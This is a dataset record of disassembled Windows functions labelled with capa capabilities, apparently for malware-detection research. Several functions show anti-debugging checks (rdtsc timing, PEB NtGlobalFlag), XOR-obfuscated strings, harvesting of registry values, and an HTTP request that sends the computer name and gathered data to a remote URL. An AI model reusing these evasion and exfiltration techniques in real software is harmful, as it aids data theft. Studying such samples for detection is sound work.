joyce8/EMBER2024-capa huggingface dataset:
Function at 0x462530
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x495b00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
lea ecx, [esp + 0xc]
call fcn.00461e00
xor ebx, ebx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x34], ebx
call fcn.00461e00
mov esi, dword [esp + 0x3c]
lea ecx, [esp + 0xc]
push esi
mov byte [esp + 0x38], 1
call fcn.00461e70
cmp dword [esp + 0x40], ebx
jne 0x4625b8
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 0x1c]
mov esi, eax
mov byte [esp + 0x34], bl
call fcn.00461e20
lea ecx, [esp + 0xc]
mov dword [esp + 0x34], 0xffffffff
call fcn.00461e20
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
add esp, 0x2c
ret
lea eax, [esp + 0xc]
push eax
call fcn.00462470
add esp, 4
lea ecx, [esp + 0xc]
mov esi, 1
call fcn.0042cdf0
cmp eax, esi
jb 0x46263b
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 1
push 1
push esi
push 0x4e07d4
lea ecx, [esp + 0x1c]
call fcn.00462220
cmp eax, 1
jne 0x46262d
push esi
lea ecx, [esp + 0x20]
push eax
push ecx
lea ecx, [esp + 0x18]
call fcn.00461fc0
push ebx
lea ecx, [esp + 0x20]
call fcn.0043a580
push eax
call fcn.00477908
add esp, 8
test eax, eax
jge 0x46262d
push ebx
lea ecx, [esp + 0x20]
call fcn.00462300
push eax
call edi
test eax, eax
je 0x462670
lea ecx, [esp + 0xc]
inc esi
call fcn.0042cdf0
cmp esi, eax
jbe 0x4625dd
lea ecx, [esp + 0x1c]
mov byte [esp + 0x34], bl
call fcn.00461e20
lea ecx, [esp + 0xc]
mov dword [esp + 0x34], 0xffffffff
call fcn.00461e20
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
add esp, 0x2c
ret
lea ecx, [esp + 0x1c]
mov byte [esp + 0x34], bl
call fcn.00461e20
lea ecx, [esp + 0xc]
mov dword [esp + 0x34], 0xffffffff
call fcn.00461e20
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x2c
ret
Function at 0x464bf0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x464bfb
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x464cfe
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x4c3c6c]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4c3c6c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4c3c6c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4c3c6c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4c3c6c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4c3c6c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4c3c6c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4c3c6c]
xor eax, edx
inc ecx
dec edi
jne 0x464c16
pop edi
test esi, esi
je 0x464d20
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4c3c6c]
xor eax, edx
inc ecx
dec esi
jne 0x464d02
pop esi
pop ebx
not eax
ret

Function at 0x4656b0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x10]
mov cl, byte [ebx]
mov eax, ebp
imul eax, dword [esp + 0x14]
test cl, cl
je 0x4656f1
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0xc]
push 0
push ecx
push eax
mov eax, dword [ebx + 4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4656e6
mov byte [ebx + 8], 1
mov eax, dword [esp + 0xc]
xor edx, edx
div ebp
pop ebp
pop ebx
ret
mov edx, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
push esi
push edi
lea esi, [edx + eax]
cmp esi, ecx
jbe 0x465704
sub ecx, edx
mov eax, ecx
mov esi, dword [ebx + 0x10]
mov edi, dword [esp + 0x14]
mov ecx, eax
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
xor edx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 0x18]
pop edi
add ecx, eax
pop esi
div ebp
mov dword [ebx + 0x18], ecx
pop ebp
pop ebx
ret
Function at 0x466640
Capabilities:
Get common file path

Disassembly:
push ecx
push ebp
mov ebp, ecx
push esi
push edi
cmp dword [ebp], 0
jne 0x4666f5
cmp dword [ebp + 4], 0xffffffff
jne 0x4666f5
push ebx
lea ebx, [ebp + 0x138]
push ebx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, 0x4e0a5c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
pop ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x14]
cmp esi, 1
jne 0x4666bd
push edi
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 1
je 0x4666bd
pop edi
pop esi
mov eax, 0x2000000
pop ebp
pop ecx
ret 0xc
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
push esi
push ecx
push edi
call fcn.00465440
add esp, 0x10
test eax, eax
jne 0x4666e0
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebp
pop ecx
ret 0xc
push eax
call fcn.00465980
add esp, 4
mov dword [ebp], eax
xor eax, eax
pop edi
pop esi
pop ebp
pop ecx
ret 0xc
pop edi
pop esi
mov eax, 0x1000000
pop ebp
pop ecx
ret 0xc

Function at 0x466b50
Capabilities:
Create directory

Disassembly:
mov ecx, dword [esp + 8]
sub esp, 0x208
test ecx, ecx
je 0x466c18
mov al, byte [ecx]
test al, al
je 0x466c18
push ebx
push esi
push edi
mov ebx, ecx
mov esi, ecx
cmp al, 0x2f
je 0x466b7b
cmp al, 0x5c
jne 0x466b7d
mov ebx, esi
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x466b73
mov edi, dword [esp + 0x218]
cmp ebx, ecx
je 0x466bb4
mov esi, ebx
lea eax, [esp + 0xc]
sub esi, ecx
push esi
push ecx
push eax
call fcn.00477a8b
lea ecx, [esp + 0x18]
mov byte [esp + esi + 0x18], 0
push ecx
push edi
call fcn.00466b50
add esp, 0x14
inc ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x110]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
pop esi
pop ebx
add esp, 0x208
ret
Function at 0x477908
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x477928
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00478662
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x47794b
test byte [esp + 8], 2
je 0x47794b
call fcn.004786d5
mov dword [eax], 0xd
call fcn.004786de
mov dword [eax], 5
jmp 0x477924
xor eax, eax
ret

Function at 0x487f79
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x487fb1
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00486030
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00486008
jmp 0x487fbd
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x48966f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4896b1
call fcn.0048f3ea
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4896b1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4896a8
xor eax, eax
jmp 0x4896b9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004896bf
pop edi
pop esi
pop ebx
ret 4

Function at 0x48f91a
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x48f948
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x48f966
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0048f880
jmp 0x48f966
mov eax, dword [esi + 0x14]
test eax, eax
je 0x48f966
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0048f880
test edi, edi
mov eax, edi
jne 0x48f950
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x4749a9
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x4746cc
mov esi, eax
dec esi
mov eax, eax
call fcn.004749f0
or esi, esi
add eax, 1
or eax, eax
xor dword [edx], ebx
add esi, 0xc5b6cf4b
add edx, 2
add eax, esi
add esi, 0xe3344d01
cmp edx, edi
jl fcn.004749a9
sub eax, eax
sub eax, eax
ret
Function at 0x401bb5
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
rdtsc
mov ebx, eax
rdtsc
sub eax, ebx
push eax
cmp eax, 1
je 0x401bba
pop eax
cmp eax, 0x200
jb 0x401bd9
mov dword [ebp - 4], 1
jmp 0x401be0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x401be6
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
add eax, 0x68
mov eax, dword ds:[eax]
cmp eax, 0x70
je 0x401c04
mov dword [ebp - 4], 0
jmp 0x401c0b
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
leave
ret

Function at 0x401c89
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push esi
push edi
push 5
mov esi, 0x44f068
pop ecx
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x44f060
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00401fe8
lea eax, [ebp - 8]
push eax
call fcn.00401fe8
pop ecx
mov esi, 0x100
pop ecx
lea eax, [ebp - 0x120]
push esi
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x120]
push esi
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.0043feb0
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.0043fec0
add esp, 0x10
lea eax, [ebp - 0x220]
push edi
push edi
push eax
lea eax, [ebp - 8]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x401ea1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp + 0xc]
mov dword [ebp - 8], 1
push eax
push 0x20019
push 0
mov dword [ebp - 4], 0x104
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401f0c
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push dword [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
test eax, eax
jne 0x401f06
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], 0
je 0x401f0c
cmp dword [ebp - 4], 1
je 0x401f0c
push 1
pop eax
leave
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
leave
ret

Function at 0x401fe8
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
push edi
call fcn.0043ffa0
dec eax
pop ecx
je 0x402019
push 5
mov eax, esi
xor edx, edx
pop ecx
div ecx
push edi
inc dl
xor dl, byte [esi + edi + 1]
mov byte [esi + edi], dl
inc esi
call fcn.0043ffa0
dec eax
pop ecx
cmp esi, eax
jb 0x401ffa
and byte [esi + edi], 0
mov eax, edi
pop edi
pop esi
ret
Function at 0x402022
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
push edi
call fcn.0043ffa0
test eax, eax
pop ecx
jbe 0x40204f
push 5
mov eax, esi
xor edx, edx
pop ecx
div ecx
push edi
inc dl
xor byte [esi + edi], dl
inc esi
call fcn.0043ffa0
cmp esi, eax
pop ecx
jb 0x402035
mov eax, edi
pop edi
pop esi
ret
Function at 0x403680
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
push ebx
push esi
push edi
mov esi, 0x44f630
lea edi, [ebp - 0x18]
push 7
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x44f398
lea edi, [ebp - 0xc]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x44f624
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x44f618
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop ecx
mov esi, 0x44f5f8
lea edi, [ebp - 0x50]
push 0x12
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop ecx
mov esi, 0x44f5ac
lea edi, [ebp - 0x198]
lea eax, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
movsb byte es:[edi], byte [esi]
call fcn.00401fe8
lea eax, [ebp - 0x24]
push eax
call fcn.00401fe8
lea eax, [ebp - 0x50]
push eax
call fcn.00401fe8
lea eax, [ebp - 0x198]
push eax
call fcn.00401fe8
lea eax, [ebp - 0x18]
push eax
call fcn.00401fe8
push dword [ebp + 8]
lea eax, [ebp - 0x29c]
push eax
call fcn.0043feb0
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0043fec0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.00401e27
add esp, 0x30
test eax, eax
je 0x4037b9
lea eax, [ebp - 0x30]
push ebx
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.00401f10
mov esi, eax
add esp, 0x10
cmp esi, ebx
je 0x4037b0
add esi, 9
lea eax, [ebp - 0xc]
push esi
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.00401f10
mov edi, eax
mov eax, dword [ebp - 4]
sub edi, esi
add esi, eax
push edi
lea eax, [ebp - 0x14c]
push esi
push eax
call fcn.004403f0
lea eax, [ebp - 0x24]
push ebx
push eax
mov byte [ebp + edi - 0x14c], bl
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.00401f10
mov esi, eax
add esp, 0x2c
cmp esi, ebx
jne 0x4037c0
push dword [ebp - 4]
call fcn.00440ae8
pop ecx
xor eax, eax
jmp 0x403868
add esi, 9
lea eax, [ebp - 0xc]
push esi
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.00401f10
mov edi, eax
mov eax, dword [ebp - 4]
sub edi, esi
add esi, eax
push edi
lea eax, [ebp - 0xb4]
push esi
push eax
call fcn.004403f0
lea eax, [ebp - 0xb4]
mov byte [ebp + edi - 0xb4], bl
push eax
xor edi, edi
call fcn.0043ffa0
add esp, 0x20
test eax, 0xfffffffe
jbe 0x403845
lea ebx, [ebp - 0xb4]
lea esi, [ebp + edi - 0xe8]
push esi
push 0x44f26c
push ebx
call fcn.00440b17
mov eax, edi
and eax, 7
mov al, byte [ebp + eax - 0x18]
xor byte [esi], al
inc edi
lea eax, [ebp - 0xb4]
inc ebx
push eax
inc ebx
call fcn.0043ffa0
shr eax, 1
add esp, 0x10
cmp edi, eax
jb 0x40380f
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x14c]
push eax
push 0x454f50
push 0x44f5a8
call fcn.0040596d
add esp, 0x10
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40459b
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
push esi
push edi
push 0xa
mov esi, 0x44f8e8
pop ecx
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x44f8dc
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 5
mov esi, 0x44f8c4
pop ecx
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
and dword [ebp - 8], 0
lea eax, [ebp - 0x58]
push eax
movsw word es:[edi], word [esi]
call fcn.00401fe8
lea eax, [ebp - 0x14]
push eax
call fcn.00401fe8
lea eax, [ebp - 0x2c]
push eax
call fcn.00401fe8
push dword [ebp + 0xc]
lea eax, [ebp - 0x260]
push eax
call fcn.0043feb0
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x260]
push eax
call fcn.0043fec0
push dword [ebp + 8]
lea eax, [ebp - 0x15c]
push eax
call fcn.0043feb0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x15c]
push eax
call fcn.0043fec0
add esp, 0x2c
lea eax, [ebp - 0x15c]
push 0
push eax
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x15c]
push eax
call fcn.0043ef6f
pop ecx
test eax, eax
pop ecx
je 0x404660
xor eax, eax
jmp 0x404690
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0x2c]
push 0x404694
push eax
push dword [ebp - 4]
call fcn.0042104c
add esp, 0x14
test eax, eax
je 0x404682
xor esi, esi
jmp 0x404685
push 1
pop esi
push dword [ebp - 4]
call fcn.0043dcc4
pop ecx
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x404adb
Capabilities:
Encode data using xor
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
push edi
push 9
pop ecx
mov esi, 0x44f950
lea edi, [ebp - 0x58]
lea eax, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
mov esi, 0x44f948
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x44f938
lea edi, [ebp - 0x34]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor ebx, ebx
push eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], 0x64
mov dword [ebp - 0x1c], ebx
movsb byte es:[edi], byte [esi]
call fcn.00401fe8
lea eax, [ebp - 0x24]
push eax
call fcn.00401fe8
lea eax, [ebp - 0x34]
push eax
call fcn.00401fe8
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea eax, [ebp - 0x14]
mov edi, 0x80000001
push eax
push 0xf003f
lea eax, [ebp - 0x58]
push ebx
push eax
push edi
call esi
test eax, eax
je 0x404b5f
xor eax, eax
jmp 0x404ccb
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x414]
push eax
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x66c]
push 0x44f1e4
push eax
call fcn.004404ee
add esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0xf003f
lea eax, [ebp - 0x66c]
push ebx
push eax
push edi
call esi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x1f4
push eax
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x404c86
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.0043feb0
pop ecx
lea eax, [ebp - 0x18]
pop ecx
mov dword [ebp - 0x18], 0x1f4
push eax
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x34]
push ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x404c86
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.0043feb0
lea eax, [ebp - 0xf0]
mov dword [ebp - 4], ebx
push eax
call fcn.0043ffa0
add esp, 0xc
test eax, eax
jbe 0x404c64
mov eax, dword [ebp - 4]
xor byte [ebp + eax - 0xf0], 0xf
inc dword [ebp - 4]
lea eax, [ebp + eax - 0xf0]
lea eax, [ebp - 0xf0]
push eax
call fcn.0043ffa0
cmp dword [ebp - 4], eax
pop ecx
jb 0x404c3d
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x414]
push eax
push 0x44f934
call fcn.0040596d
add esp, 0x10
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0xc]
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x414]
push eax
mov dword [ebp - 8], 0x64
push dword [ebp - 0xc]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x404b78
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40596d
Capabilities:
Create http request
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa58
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, 0x44fb98
lea edi, [ebp - 0x30]
lea eax, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
push eax
mov dword [ebp - 4], 0x32
call fcn.00401fe8
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov eax, dword [ebp - 4]
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push esi
mov byte [ebp + eax - 0x64], bl
call fcn.0043ffa0
cmp eax, 0x3e8
pop ecx
jbe 0x4059c5
mov byte [esi + 0x3e8], bl
lea eax, [ebp - 0xa58]
push 0x4556b6
push eax
call fcn.0043feb0
lea eax, [ebp - 0xa58]
push str._actionadda
push eax
call fcn.0043fec0
push dword [ebp + 8]
lea eax, [ebp - 0xa58]
push eax
call fcn.0043fec0
lea eax, [ebp - 0xa58]
push 0x44fb84
push eax
call fcn.0043fec0
push esi
call fcn.0043ffa0
add esp, 0x24
test eax, eax
jbe 0x405a3d
lea eax, [ebp - 0x258]
push esi
push eax
call fcn.0043feb0
lea eax, [ebp - 0x258]
push eax
call fcn.00402054
push eax
lea eax, [ebp - 0xa58]
push eax
call fcn.0043fec0
add esp, 0x14
lea eax, [ebp - 0xa58]
push 0x44fb80
push eax
call fcn.0043fec0
push dword [ebp + 0x10]
call fcn.0043ffa0
add esp, 0xc
test eax, eax
jbe 0x405a88
push dword [ebp + 0x10]
lea eax, [ebp - 0x258]
push eax
call fcn.0043feb0
lea eax, [ebp - 0x258]
push eax
call fcn.00402054
push eax
lea eax, [ebp - 0xa58]
push eax
call fcn.0043fec0
add esp, 0x14
lea eax, [ebp - 0xa58]
push 0x44fb7c
push eax
call fcn.0043fec0
push dword [ebp + 0x14]
call fcn.0043ffa0
add esp, 0xc
test eax, eax
jbe 0x405b49
push dword [ebp + 0x14]
lea eax, [ebp - 0x258]
push eax
call fcn.0043feb0
lea eax, [ebp - 0x258]
push eax
call fcn.00402054
push eax
lea eax, [ebp - 0xa58]
push eax
call fcn.0043fec0
lea eax, [ebp - 0xa58]
push 0x44fb78
push eax
call fcn.0043fec0
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.0043feb0
lea eax, [ebp - 0x258]
push eax
call fcn.00402054
push eax
lea eax, [ebp - 0xa58]
push eax
call fcn.0043fec0
add esp, 0x30
lea eax, [ebp - 0x30]
push ebx
push ebx
push ebx
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
mov edi, eax
push 0x80000000
push ebx
lea eax, [ebp - 0xa58]
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
push edi
call esi
push 1
pop eax
jmp 0x405b56
push str.Saliendo1_n
call fcn.00440e69
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4060b3
Capabilities:
Hash data with md5

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x5c
push 0
push esi
call fcn.00440a90
add esp, 0xc
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
push 1
mov dword [esi + 0xc], 0x10325476
pop eax
pop esi
ret